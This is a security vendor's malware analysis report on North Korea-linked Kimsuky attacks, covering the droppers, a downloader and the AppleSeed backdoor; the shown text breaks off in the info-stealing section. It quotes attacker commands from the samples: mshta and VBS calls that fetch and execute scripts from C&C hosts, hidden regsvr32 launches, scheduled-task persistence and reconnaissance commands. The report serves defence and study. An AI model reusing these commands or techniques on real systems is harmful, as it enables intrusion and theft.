AhnLab Cyber Threat Intelligence Report TLP: AMBER GREEN Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) AhnLab Security Emergency response Center (ASEC) November 16th, 2021 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Guide on Document Classification Publications or provided content can only be used within the scope allowed for each classification as shown below. Classification Distribution Targets TLP: RED Reports only provided for certain clients and tenants TLP: AMBER Reports only provided for limited clients and tenants TLP: GREEN Reports that can be used by anyone within the service TLP: WHITE Reports that can be freely used Notices Documents that can be only accessed by the recipient or the recipient department Cannot be copied or distributed except by the recipient Can be copied and distributed within the recipient organization (company) of reports Must seek permission from AhnLab to use the report outside the organization, such as for educational purposes Can be freely used within the industry and utilized as educational materials for internal training, occupational training, and security manager training Strictly limited from being used as presentation materials for the public Cite source Available for commercial and non-commercial uses Can produce derivative works by changing the content Remarks If the report includes statistics and indices, some data may be rounded, meaning that the sum of each item may not match the total. This report is protected by copyright law and as such, reprinting and reproducing it without permission is prohibited in all cases. Seek permission from AhnLab in advance if you wish to use a part or all of the report. If you reprint or reproduce the material without the permission of the organization mentioned above, you may be held accountable for criminal or civil liability. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The version information of this report is as follows: Version Date Details November 16th, 2021 Analysis Report on Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) created November 16th, 2021 Added content November 19th, 2021 Added content and fixed typos CAUTION This report contains a number of opinions given by the analysts based on the information that has been confirmed so far. Each analyst may have a different opinion and the content of this report may change without notice if new evidence is confirmed. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Table of Contents Overview .............................................................................................................................................................. 6 1. Distribution method .......................................................................................................................................... 6 1.1. Script ......................................................................................................................................................... 7 1.2. Executable File (pif) ................................................................................................................................ 10 1.2.1. Thread #1 ........................................................................................................................................ 11 1.2.2. Thread #2 ........................................................................................................................................ 11 1.2.3. Thread #3 ........................................................................................................................................ 16 1.2.4. Thread #4 ........................................................................................................................................ 16 1.3. Additional Script ...................................................................................................................................... 16 1.3.1. Primary Script .................................................................................................................................. 16 1.3.2. Secondary Script ............................................................................................................................. 17 2. Analysis of Downloader Malware .................................................................................................................. 18 2.1. Downloader ............................................................................................................................................. 19 2.1.1. Install Process ................................................................................................................................. 19 2.1.2. Downloader Behavior ...................................................................................................................... 20 3. Analysis of AppleSeed ................................................................................................................................... 21 3.1. Analysis of Default Features ................................................................................................................... 23 3.1.1. Initial Routine ................................................................................................................................... 23 3.1.2. Installation ........................................................................................................................................ 24 3.1.3. Privilege Escalation ......................................................................................................................... 26 3.1.4. Thread ............................................................................................................................................. 26 3.2. Analysis of Info-stealing Feature ............................................................................................................ 30 3.2.1. Information Theft.............................................................................................................................. 31 3.2.2. Additional Commands ..................................................................................................................... 34 3.3. C&C Communication Using Emails ........................................................................................................ 35 3.3.1. Ping Thread (SMTP) ........................................................................................................................ 36 3.3.2. Command Thread (IMAP) ............................................................................................................... 36 4. Analysis of PebbleDash ................................................................................................................................. 38 4.1. Analysis of Initial PebbleDash ................................................................................................................ 39 4.1.1. Initial Routine ................................................................................................................................... 39 4.1.2. Recovering Settings Data ................................................................................................................ 42 4.1.3. C&C Communications ..................................................................................................................... 45 4.1.4. Performing Commands .................................................................................................................... 49 4.2. Analysis of Latest PebbleDash ............................................................................................................... 51 4.2.1. Initial Routine ................................................................................................................................... 51 4.2.2. Recovering Settings Data ................................................................................................................ 53 4.2.3. C&C Communications ..................................................................................................................... 54 4.2.4. Performing Commands .................................................................................................................... 57 5. Post Infection ................................................................................................................................................. 58 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 5.1. Remote Control....................................................................................................................................... 58 5.1.1. Meterpreter ...................................................................................................................................... 58 5.1.2. HVNC (TinyNuke) ............................................................................................................................ 60 5.1.3. TightVNC ......................................................................................................................................... 63 5.1.4. RDP Wrapper .................................................................................................................................. 64 5.2. RDP Related ........................................................................................................................................... 64 5.2.1. Adding RDP User ............................................................................................................................ 64 5.2.2. RDP Patcher .................................................................................................................................... 64 5.3. Privilege Escalation ................................................................................................................................ 65 5.3.1. UACMe ............................................................................................................................................ 65 5.3.2. CVE-2021-1675 Vulnerability .......................................................................................................... 67 5.4. Collecting Information ............................................................................................................................. 69 5.4.1. Mimikatz ........................................................................................................................................... 69 5.4.2. Collecting Chrome Account Credentials .......................................................................................... 70 5.4.3. Keylogger ......................................................................................................................................... 70 5.5. Others ..................................................................................................................................................... 71 5.5.1. Proxy Malware ................................................................................................................................. 71 AhnLab's Response ........................................................................................................................................... 72 Conclusion ......................................................................................................................................................... 75 IOC (Indicators Of Compromise) ....................................................................................................................... 75 File Path and Name ....................................................................................................................................... 75 File Hashes (MD5) ......................................................................................................................................... 77 Related Domain, URL, and IP Address ......................................................................................................... 83 Reference .......................................................................................................................................................... 87 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Overview This document is an analysis report on types of malware recently utilized by the Kimsuky group. The Kimsuky group is mainly known for launching social engineering attacks, such as spear phishing. Judging by the names of the attached files, the group seems to be targeting those working in the fields related to North Korea and foreign affairs. According to the scan logs of AhnLab's ASD infrastructure, the threat group has been mainly targeting individual users rather than companies, but has also been continuously attacking public institutions and companies. Korean universities have been one of their major targets, but records exist of them attacking IT, information and communications, and construction institutions as well. Normally, malware strains assumed to be attachments of spear phishing attack emails are disguised as document files. If a user executes the file, malware of this type executes the document that corresponds to the disguised file name and tricks the user into thinking that they have opened a normal file. It installs additional malware strains at the same time, mainly AppleSeed and PebbleDash. AppleSeed has been present since 2019 and when compared to other malware strains based on the IOCs organized by AhnLab, it takes up a significant portion due to being used in various other attacks. PebbleDash is one of the NukeSped variants, known for having been used by the Lazarus group since the past. Recently, it has been found that a new variant is being used for attacks along with AppleSeed. They are both backdoors used by the Kimsuky group that can stay in the system and perform malicious behaviors by receiving commands from the attacker. The attacker can use backdoor to install another remote control malware, such as Meterpreter and HVNC. The attacker can also install various other types of malware for privilege escalation and account credential theft. This report will analyze the overall flow of attacks using AppleSeed and PebbleDash, starting from malware strains that are initially distributed. As both malware types are not confined to a single form, this report will compare each type and focus on similarities and differences, and also explain in detail other types of malware that the two malware additionally install. 1. Distribution method Lately, the Kimsuky group has been mainly distributing malware via spear phishing email attachments. Malware that creates AppleSeed or PebbleDash is usually disguised as a document file, such as pdf, docx, and hwp. These malware strains take a disguise of document files that discuss current affairs, such as diplomacy, defense, and COVID-19. However, the attacker does use other file types, such as jpg image or specific dat depending on the attack target. The files thought to be attached to spear phishing emails the initial distribution files all have either an executable file or script format. The script file is a wsf or js format malware, which creates and executes a normal document file that corresponds to the disguised name when it is run to make the user think that a normal document file has been opened. The executable is the same as the script file in terms of its distribution method and behaviors. One thing to note is that the file is distributed in PIF extensions. Both the script and the executable show normal document files upon being executed and installed internally encoded malware into the system. When backdoors, such as AppleSeed or PebbleDash, are installed successfully, they can communicate with the C&C server afterward to steal information about the user environment or install additional malware. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 1.1. Script Samples distributed in the script form can all be executed immediately on Windows. Upon being executed, they create and run AppleSeed malware and normal document files. The confirmed samples take the form of JS or WSF file, as shown in Figure 1. They have different extensions but are functionally the same, as each is configured in the same JS code. Figure 1. WSF (left) and JS sample (right) The samples can also be divided into two types depending on the method of code implementation. Figure 1 shows samples that declare function at the start because they have features, such as decoding, autodelete, and file deletion, implemented as separate functions. Figure 2 shows another sample that makes no use of functions and starts with the try - catch statement. Figure 2. Sample without functions Both types essentially perform the same behaviors. Decoding the Base64-encoded data yields AppleSeed malware and a normal document file. The malware creates two files in a particular path and executes them. - Command: powershell.exe -windowstyle hidden regsvr32.exe /s [AppleSeed malware path] For Base64 decoding, the samples with functions use a method of running Powershell command, and samples that do not declare functions use certutil.exe to decode the file, as shown in Figure 3. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 3. Decoding using certutil.exe Some samples may additionally access a particular URL as shown in Figure 4. It appears that the samples do so to report the infection status. Figure 4. Accessing URL to report infection The name of the normal document file created in the process above is similar to the name of the distributed file with its content related to the file name. Figure 5. image_confirm_v1.jpg file Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 6. High-frequency transfer switch default performance temperature testing report.hwp Figure 7. *** News 2021-05-07.pdf file Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 8. 0421.hwp file 1.2. Executable File (pif) For samples distributed in the PIF form, they create and execute malware and normal documents while performing additional malicious behaviors through mstha at the same time. This report will list the analysis information of the "Progress Check_211013.pif (aa65c226335539c162a9246bcb7ec415) sample." When the malware is executed, it creates four threads, as shown in Table 1. Each thread has a specialized feature that is summarized in the following table. Thread Behavior Thread #1 Creating and running AppleSeed malware Thread #2 Creating and running normal document file Thread #3 Running mshta for performing additional malicious behaviors Thread #4 Creating and running auto-delete BAT file Table 1. Summary of behavior for each thread Most PIF droppers, including the analysis target sample, install VBS malware using mshta. However, some samples do not follow this pattern. Some samples lack the dropper feature that installs additional malware, while others install certain downloader malware types or malware that adds an RDP account. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) There have also been samples with different internal code configurations that install PebbleDash backdoor instead of AppleSeed. 1.2.1. Thread #1 Thread #1 in the sample creates a folder in the following path and installs AppleSeed. - Path %APPDATA%\Media - Filename wmi-ui-[random name].db - File Hash cae87921ea508d6c8d8c1de9dd769ae1 The following decryption routine is used, notably utilizing a MMX command. Figure 9. Data decryption routine When the file is decrypted and created, the sample uses the ShellExecuteExW() function to run the malware through regsvr32.exe. Execution Argument: C:\Windows\system32\regsvr32.exe name]\AppData\Roaming\Media\wmi-ui-947ef993.db" "C:\Users\[user 1.2.2. Thread #2 Thread #2 thread creates and executes the normal document file to trick users into thinking that they have opened an innocuous document file, not a malware. It uses the same algorithm used in Thread #1 during the document creation process to decrypt the data. The normal document created usually uses a name similar to the filename of the distributed malware with contents related to the title. Examples of normal documents are shown in Figure 10. One thing to note is that the file with .h5 extensions use HDF (Hierarchical Data Format) file format, which is not widely used. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 10. Process Check_211013.pdf file Figure 11. JR_210604_R1***_F***_Pf***.pptx file - (certain strings blurred as ***) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 12. 211014-915mm(0deg).h5 file Figure 13. [Business Cooperation Agreement] Cooperation (Old 2) 21-001_Cooperation request for tasks related to purchase order for development and purchase & incoming inspection process_Purchase Team 2.pdf file Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 14. 2021 *** Work Report Edited.pdf file Figure 15. 1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.hwp file Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 16. 210927 COVID-19 Response (Boryeong-Taean 1)_merged.hwp file Figure 17. ROK-US summit (May 21st) Reference Material (edited).hwp file Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 1.2.3. Thread #3 Thread #3 executes scripts using mstha to perform additional malicious behaviors. It executes the following command through the CreateProcessA() function. As for the script malware that is downloaded and executed through mshta.exe, it will be discussed in 1.3. Additional Script. - Command: mshta.exe hxxp://get.seino.p-e[.]kr/?query=5 1.2.4. Thread #4 The thread creates a BAT file with a random name in the %TEMP% directory and executes it via the CreateProcessW() function. The executed script, which is a command that deletes the created BAT file is shown below. The main thread is configured to be terminated after all additionally created threads are completed. When the malware is terminated, the executed BAT file deletes itself and the BAT script. :goto_redel rd /s /q "[executable file name]" del "[executable file path]" if exist "[executable file path]" goto goto_redel del "C:\Users\[user name]\AppData\Local\Temp\[random name].tmp.bat" 1.3. Additional Script The PIF dropper malware mentioned earlier installs AppleSeed backdoor to trick users into thinking that they are opening an innocuous document file. Also, it also installs additional external payloads. To do so, it downloads a script through mshta.exe from the third thread and executes it. The downloaded VBS script can send basic information of the infected environment and download additional malware. 1.3.1. Primary Script First, the short VBS script is downloaded through mshta.exe and executed. The code simply requests a certain URL and executes another VBS script received as a response. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 18. First Script (Deobfuscated) The second script that is run by the script above is a VBS script, consisting of approximately one hundred lines. It steals information about the infected system and sends it to the C&C server. A function that can download and execute files is also included, but it may not always be executed depending on the situation. 1.3.2. Secondary Script To collect the information of the infected system, the script first executes the following commands and saves the result as a file MSO2069.acl. > hostname > systeminfo > net user > query user > route print > ipconfig /all > arp -a > netstat -ano > tasklist > tasklist /svc The file is encoded with certutil.exe that is a default Windows program and saved as a file with the name MSO2079.acl, which is then sent to the C&C server. The data sent takes a disguise of something similar to a certificate to bypass detection as shown in Figure 19. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 19. Example of packet content that is sent to C2 server Afterward, the script registers the following two commands to the task scheduler. > cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR "wscript //e:vbscript //b C:\ProgramData\Chrome\.NetFramework.xml" /f > cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR "regsvr32 /s C:\ProgramData\Chrome\update.cfg" /f The content of the .NetFramework.xml file that is created by the script is shown below. It accesses a particular URL and executes the script that is sent in response. Error Resume Next:Set sztnfpcgijjomecl CreateObject("MSXML2.ServerXMLHTTP.6.0"):sztnfpcgijjomecl.open "POST", "hxxp://get.seino.pe[.]kr/index.php?query=6", False:sztnfpcgijjomecl.Send:Execute(sztnfpcgijjomecl.responseText): The script that was downloaded during the analysis is a code that forcibly terminates the mshta.exe process that is currently being executed as shown below. Set WShell=CreateObject("WScript.Shell"):retu=WShell.run("cmd /c taskkill /im mshta.exe /f" , 0 ,true) In essence, one task downloads an additional script from external sources and executes it. The other task executes a file in a certain path using regsvr32. If the attacker responds with a script that installs additional malware files in the C:\ProgramData\Chrome\update.cfg path instead of the auto-termination script, the additional malware will be executed by the second task scheduler. 2. Analysis of Downloader Malware As mentioned earlier, there is a downloader malware among those installed by the PIF dropper. This malware operates after being registered to the task scheduler and essentially performs the role of a downloader: periodically accessing the C&C server to download and execute additional payloads. Currently, multiple downloader malware types can be checked in AhnLab's ASD infrastructure. They likely Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) created malware strains used by the Kimsuky group. Note that according to a report made by S2W LAB, there has been cases of the downloader malware downloading and installing the Meterpreter backdoor in infected environments.1 2.1. Downloader 2.1.1. Install Process As for the analysis sample, when the downloader malware is executed, it first creates the Intel folder in the %ALLUSERSPROFILE% (ProgramData) folder and copies itself with the name "Driverdriver.cfg." Most samples choose ProgramData as the installation folder, but some select %APPDATA% (\AppData\Roaming) instead. There are also cases of the file name being driver.cfg instead of Driverdriver.cfg. When the copying process is over, the malware executes the file in the copied path using regsvr32.exe. The actual malicious behaviors are performed in the downloader process that is executed following the steps shown above. When the install process is over, the file that is initially executed is auto-deleted. It is a method that uses a batch file and is frequently employed by malware strains that were recently used by the Kimsuky group. Figure 20. Auto-delete Batch file It then checks for concurrent execution using a mutex. The sample for the current analysis uses the following name for the mutex: - Mutex: windows update server real time mui cache" The malware uses a unique 8-byte sized random binary data to check whether the system is infected or not. It first scans for the following registry key. If the key does not exist, it creates a random 0x08 byte binary value and uses this value for the registry shown below. The value is used to communicate with the C&C server. - Added Registry Key: HKCU\Software\Microsoft\FTP / Use Smtp https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed- really-fall-on-newtons-head/ Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 21. Created registry key The malware registers the following command to the task scheduler so that it executes every 30 minutes. > schtasks /create /f /tn "Intel\Disk\Volume1" /tr "C:\ProgramData\Intel\Driverdriver.cfg"" /sc minute /mo 30 "C:\Windows\system32\regsvr32.exe 2.1.2. Downloader Behavior The malware uses the HTTP protocol and the following three types of queries to communicate with the C&C server. u is the unique identifier that was discussed earlier, and i means a command. p appears to be a secondary parameter, but as the malware has a simple structure, it would not have much significance. - Format: http://[C&C URL]/init/image?i=[command]&u=[unique identifier]&p=[secondary parameter] Query Meaning Command Unique Identifier Secondary Parameter Table 2. Queries used for C&C communications Command Type Feature Init Establish connection Ping PING Down Download complete Table 3. Types of commands used The following URL is used when the malware initially connects with the C&C server. The "6352db963f367e75" part is the 8-byte binary data that was randomly generated and saved in the registry key converted into a string. - Example: http://[C&C URL]/init/image?i=init&u=6352db963f367e75&p=ya The User-Agent string used to communicate with the C&C server is as follows: Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 The malware then sends a PING query. Up until this part of the process, the data received from the C&C server is not used. It seems that this part is a reset process for the sample to send infection status to the C&C server and download additional files. - Example: http://[C&C URL]/init/image?i=ping&u=6352db963f367e75&p=wait.. Now the actual downloading begins. The download URL is "[random 8-byte string].down" as shown below. - Format: http://[C&C URL]/init/[Unique Identifier].down - Download URL Example: http://[C&C URL]/init/6352db963f367e75.down The downloader downloads files using the URLDownloadToFileW() API without going through any complicated processes. The download path is shown below. The name of the file also has a random value in the "cachew[random name].cache" format. - Download Path Example: C:\ProgramData\Intel\Driver\cachew-671417171.cache As the downloaded file is encoded with 4-byte Xor, it needs to be additionally decoded. Figure 22. Hard-coded 0x4 Byte Xor key - Xor Key: 96 50 28 44 The decoded malware is executed. As the downloader uses regsvr32.exe upon executing it, the additional payloads likely only exist as DLLs. After the process is over, the result is sent to the C&C server using the example URL shown below. - Example: http://[C&C URL]/init/image?i=down&u=6352db963f367e75&p=ya 3. Analysis of AppleSeed Among types of malware installed through the script malware or PIF dropper, there is a backdoor called AppleSeed. It performs commands it received from the attacker via the C&C server and sends the result back. It also includes features, such as a downloader that installs additional malware strains, performs keylogging and screenshots, and steals information by collecting files from the user system. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The malware is mainly divided into two types depending on the C&C communications method. Most of them use the HTTP protocol, but some strains communicate with C&C through emails. There are also other differences in features. Not every type of AppleSeed is equipped with the info-stealing feature. Some types may only contain basic features of receiving and executing additional malware or commands from the C&C server. Among all samples, this report will discuss those that use HTTP or emails to communicate with C&C and those that include info-stealing features. Some samples appear to contain binaries built using debug mode by the attacker. As such, one can check the debug messages designated by the developer for each function as shown in Figure 23. Figure 23. Debug message output routine included in function Figure 24. DebugView log The target chosen for the analysis is a sample built in debug mode, the one that can be examined to confirm the developer's intention. However, as the discussed sample's info-stealing feature is disabled, Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) another sample with the feature will be analyzed for the section explaining such feature. As all of the samples use the HTTP protocol, AppleSeed sample that communicates with the C&C server via email will be discussed. - Only has default features: 739d14336826d078c40c9580e3396d15 - Possesses additional info-stealing feature: 2cb77491573acc5e8198d8cf68300106 - Communicates with C&C via email: dacb71c5eac21b41bb8077fe2e9f5a25 3.1. Analysis of Default Features 3.1.1. Initial Routine Upon execution, AppleSeed first goes through API Resolving in the initialization routine. The names of the API functions that will find the URL are all encoded, and these encoded strings are a trait of AppleSeed. Besides API functions, AppleSeed harbors most of the strings, such as C&C URL and User-Agent, in encoded forms as shown in Figure 25. Figure 25. Obfuscation for strings used in AppleSeed original version string that decoded first ("9d99c9fe01bc57d39df2546955a7021a9fe6567457fb001a9dad543755e70258") is "kernel32.dll." The string is mainly divided into two parts. The first 16 characters are used as a key for Xor encryption, and the part after the initial 16 characters is the original string that is encrypted and saved. - Xor Key: 9d99 c9fe 01bc 57d3 - Encoded String (Xor Key): 9df2 5469 55a7 021a 9fe6 5674 57fb 001a 9dad 5437 55e7 0258 Note that the Xor encoding method used is not a simple one; the following encrypted strings are simultaneously used for the next Xor encoding. ( XorKeyn xor EncStrn-1 ) xor EncStrn ( 0x9d99 xor 0x0000 ) xor 0x9df2 = 0x006b = "k" ( 0xc9fe xor 0x9df2 ) xor 0x5469 = 0x0065 = "e" ( 0x01bc xor 0x5469 ) xor 0x55a7 = 0x0072 = "r" ( 0x57d3 xor 0x55a7 ) xor 0x021a = 0x006e = "n" ( 0x9d99 xor 0x021a ) xor 0x9fe6 = 0x0065 = "e" ( 0xc9fe xor 0x9fe6 ) xor 0x5674 = 0x006c = "l" ( 0x01bc xor 0x5674 ) xor 0x57fb = 0x0033 = "3" ( 0x57d3 xor 0x57fb ) xor 0x001a = 0x0032 = "2" ( 0x9d99 xor 0x001a ) xor 0x9dad = 0x002e = "." Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) ( 0xc9fe xor 0x9dad ) xor 0x5437 = 0x0064 = "d" ( 0x01bc xor 0x5437 ) xor 0x55e7 = 0x006c = "l" ( 0x57d3 xor 0x55e7 ) xor 0x0258 = 0x006c = "l" After API Resolving, the malware finds the settings data. The data is encoded with the same algorithm that was mentioned above. The data found includes the host and path of the C&C server, path to install the DLL file, prefix that will be used as PCID, etc. The following is the settings data decoded from the current analysis target sample. Settings Item Decoded String C&C URL "yes24-mart.pe[.]hu" C&C Path "/bear" Installation Path "Software\Microsoft\Windows\Defender" PcID Prefix "D_Regsvr32" Table 4. AppleSeed settings data 3.1.2. Installation AppleSeed, which is a DLL format, is executed by regsvr32.exe. One of its characteristics is that it is always installed on a certain path. The installation path is usually inside %ALLUSERSPROFILE% (ProgramData), but some samples are installed inside %APPDATA%. The current analysis target sample is installed in %ALLUSERSPROFILE% with the exact path being "Software\Microsoft\Windows\Defender" (extracted from the settings data shown in Table 4). The name of the installer is AutoUpdate.dll. It copies itself to create a batch file in the %ALLUSERSPROFILE%\temp\ path with the original being deleted after. The path is later registered to the auto-run registry Run key with the name "WindowsDefenderAutoUpdate" to allow the file to be executed upon reboot. Figure 26. BAT file used for auto-delete The malware then uses a mutex to check the concurrent execution. The mutex used by the current analysis sample is "DropperRegsvr32-20210504113516." As the Export DLL Name is "dropperregsvr32(x86).dll" and the DLL has a similar TimeStamp with the date information shown in the mutex name which appears to represent the malware's name that was decided during the development and its creation date. a. Execution Method The sample analyzed above is ultimately executed by being loaded through the regsvr32.exe process. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) But there are samples where the AppleSeed backdoor is loaded and executed by a different process. For instance, the 541fa4fb60690ffbe48b24cd2eeda32e sample is loaded and executed by the explorer.exe process, the Windows Explorer that is currently being executed. It is initially loaded and executed by the regsvr32.exe process, but then it copies itself to the %TEMP% path and uses the DLL injection technique, shown in Figure 27, to make explorer.exe load AppleSeed. Figure 27. DLL injection technique using CreateRemoteThread() API The method discussed above is a normal DLL injection technique, but there are other techniques as well, such as decoding AppleSeed that takes the form of Reflective DLL Loader and injecting it into explorer.exe. There have also been multiple samples that target Internet Explorer (iexplore.exe) instead of explorer.exe for injection. One sample type (8355964a47f248ed39caccb733aabc44) uses the DLL hijacking technique. It first creates a normal program ALUpdate.exe (639abb6eb9e29b15c61feb7858d2ab40) in the \AppData\Roaming\ESTsoft\Common\ESTUpdate.exe path and copies itself into the same path with the name "ko-kr.dll." When the normal program ESTUpdate.exe is executed, DLL is loaded and executed. Figure 28. Execution method using DLL hijacking technique b. Maintain Persistence The sample mentioned in Figure 28 registers the following Run key to maintain persistence. - HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsDefenderAutoUpdate regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll" Besides the Run key, AppleSeed samples such as 4e58ea982e3e95fe7b1bdb480ab9810e may use the RunOnce key to maintain persistence. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ESTsoftAutoUpdate regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll" The samples that employ the DLL hijacking method use the task scheduler to execute ALUpdate.exe program. - schtasks /create /sc minute /mo 10 /tn "ESTSoft\EST Software Auto Updater" /tr C:\Users\[User Name]\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe /f 3.1.3. Privilege Escalation At this stage, the malware checks if UAC is disabled in the current system. If the following registry keys all have 0 as their values, the sample will consider UAC to be disabled. - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop When the UAC is disabled and the system does not have the administrator privilege, it executes its own path and regsvr32.exe as executed as administrator. Since UAC is already disabled, privilege escalation becomes possible without the UAC pop-up. For the system that currently has admin privilege, the malware enables the SeDebugPrivilege privilege. 3.1.4. Thread AppleSeed executes thPingCmd which works as the main thread. The thread simply executes two threads in the span of 60 seconds. The first thread is named sendHttpPing, which periodically communicates with the C&C server to maintain connection. The second thread is named dropAndRunCmd and performs malicious behaviors by receiving commands from the server. The following table shows the URLs used by AppleSeed to communicate with the C&C server. Mode Feature ping /?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion] Maintaining connection with the C&C server Sending command results /?m=b&p1=[PcID]&p2=a Downloading commands /?m=c&p1=[PcID] Downloading commands from the C&C server Download complete /?m=d&p1=[PcID] Notifying completion of command download Sending CMD command results Table 5. List of URLs used "m" seems to mean "mode," with "a" being used for "ping", "b" for "commands", "c" for "downloading commands", and "d" for "completing downloading commands". These are all the URLs used in the sample, Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) but more types of URLs are used for the sample with the info-stealing feature enabled, and they will be discussed later when the sample is analyzed. a. sendHttpPing Thread The sendHttpPing thread is excuted every 60 seconds, sending the basic information of the infected system to the C&C server. Unlike other communication instances where only the PcID is sent, this thread also sends PcInfo and the malware version like the URL shown below. /?m=a&p1=[PcID]&p2=[PcInfo]-[MalwareVersion] The PcID used in this case combines the volume serial number and the user name such as "888a15a5testUser." PcInfo is a bit more complicated. It is a string that appears to show the Windows version (Major, Minor, and Build) as well as the architecture and the malware version. The malware version is the string "D_Regsvr32" that was obtained during the decoding process for previous settings data and the string that was decoded in the current thread 2.0 and 7. Item Format Example PcID [VolumeSerial]-[UserName] 888a15a5-testUser PcInfo Win[MajorVersion].[MinorVersion].[Build][Architecture] Win6.1.7601x86 Malware [D_Regsvr32]-v[2.0].[7] D_Regsvr32-v2.0.7 Version Table 6. Format used for sending information about infected system - HTTP Figure 29. Process of obtaining PcInfo Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The information is ultimately sent to the C&C server with the following URL: /bear/?m=a&p1=888a15a5-testUser&p2=Win6.1.7601x86-D_Regsvr32-v2.0.7 b. dropAndRunCmd Thread This thread performs commands that it has received. After requesting the C&C server to send commands, it downloads and decrypts them to perform malicious behaviors, then sends back the result. It accesses the C&C server using the URL "/?m=c&p1=[PcID]" and downloads the data that includes commands. The User-Agent string used in the process is as follows: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" The downloaded data is saved as a file in the %ALLUSERSPROFILE%\temp\ path. Unlike average malware strains, AppleSeed saves features that can be processed within the memory as a file. So for every stage, such as downloading commands and unpacking and decrypting files, all the results are saved in the %ALLUSERSPROFILE%\temp\ path. When the download is finished, the malware accesses the C&C server via the URL "/?m=d&p1=[PcID]" to inform the server that the process has been completed. It is currently not possible to access the server, but it appears that the downloaded data starts with the "%PDF-1.7..4 0 obj" signature. AppleSeed begins the unpacking process after scanning the signature. Figure 30. CRC scan for unpacked file The decryption process follows when the unpacking process is complete. The unpacked data includes the RC4 key encrypted with the RSA public key and the data encrypted with the RC4 key. The malware first decrypts the data saved in the 0x80 size after +0x04 using the RSA (1024) private key included in the binary and obtains the RC4 key based on the data. Then it decrypts the data with the RC4 key to have the command data. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 31. Decrypted RSA (1024 bit) private key While the command data is not available for download at this moment, it appears that the unpacked data will have the following format based on the uploading process that will be discussed later in this report. Offset Size Data +0x00 0x04 Original size of the encrypted data +0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public +0x84 Variable Command data encrypted with the RC4 key Table 7. Encrypted command data received from C&C server The following table is a list of commands that the current analysis target, AppleSeed, can perform. The command names are based on the string confirmed through the debug message. Command Number Command Name Description Performs command lines received from the C&C server and sends results Downloads DLL and executes it with the RegSvr32.exe /s command MemDLL Downloads DLL and executes it in the memory UpdateDLL Updates malware (same as the DLL command) Table 8. C&C commands #1 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Unlike the MemDLL command that loads and executes malware within the memory, DLL and UpdateDLL command download DLL in the file form and execute it with the "regsvr32.exe /s" command. They are divided into two commands (DLL, UpdateDLL) which are essentially the same. As for the CMD command, it executes the command line that was sent and receives the result through a pipe to save it in the %ALLUSERSPROFILE%\temp\ path. It then additionally encrypts the saved file before sending it like zip compression or the encryption process discussed above. The command first creates a random RC4 key and encrypts the zip compression file with the RC4 algorithm. The randomly created RC4 key is encrypted with the public key included in the binary. The final data after the encoding process is as follows: Offset Size Data +0x00 0x04 Size of the zip file that will be encrypted +0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public key +0x84 Variable Command data encrypted with the RC4 key Table 9. Encrypted stolen information sent to C&C server Figure 32. RSA (1024 bit) public key used to encrypt attachment The compressed and encrypted data is attached to the POST request and sent as the following URL: /?m=b&p1=[PcID]&p2=a 3.2. Analysis of Info-stealing Feature While the sample discussed earlier is a simple malware without the info-stealing feature, the same cannot be said for other AppleSeed samples. Those with functional info-stealing feature can receive additional commands from the C&C server and perform them. The following table provides an overview on the infostealing feature and routines for performing additional commands. AppleSeed samples with functional info-stealing feature use more URLs than those mentioned above. Analysis Report of Kimsuky Group's APT Attacks 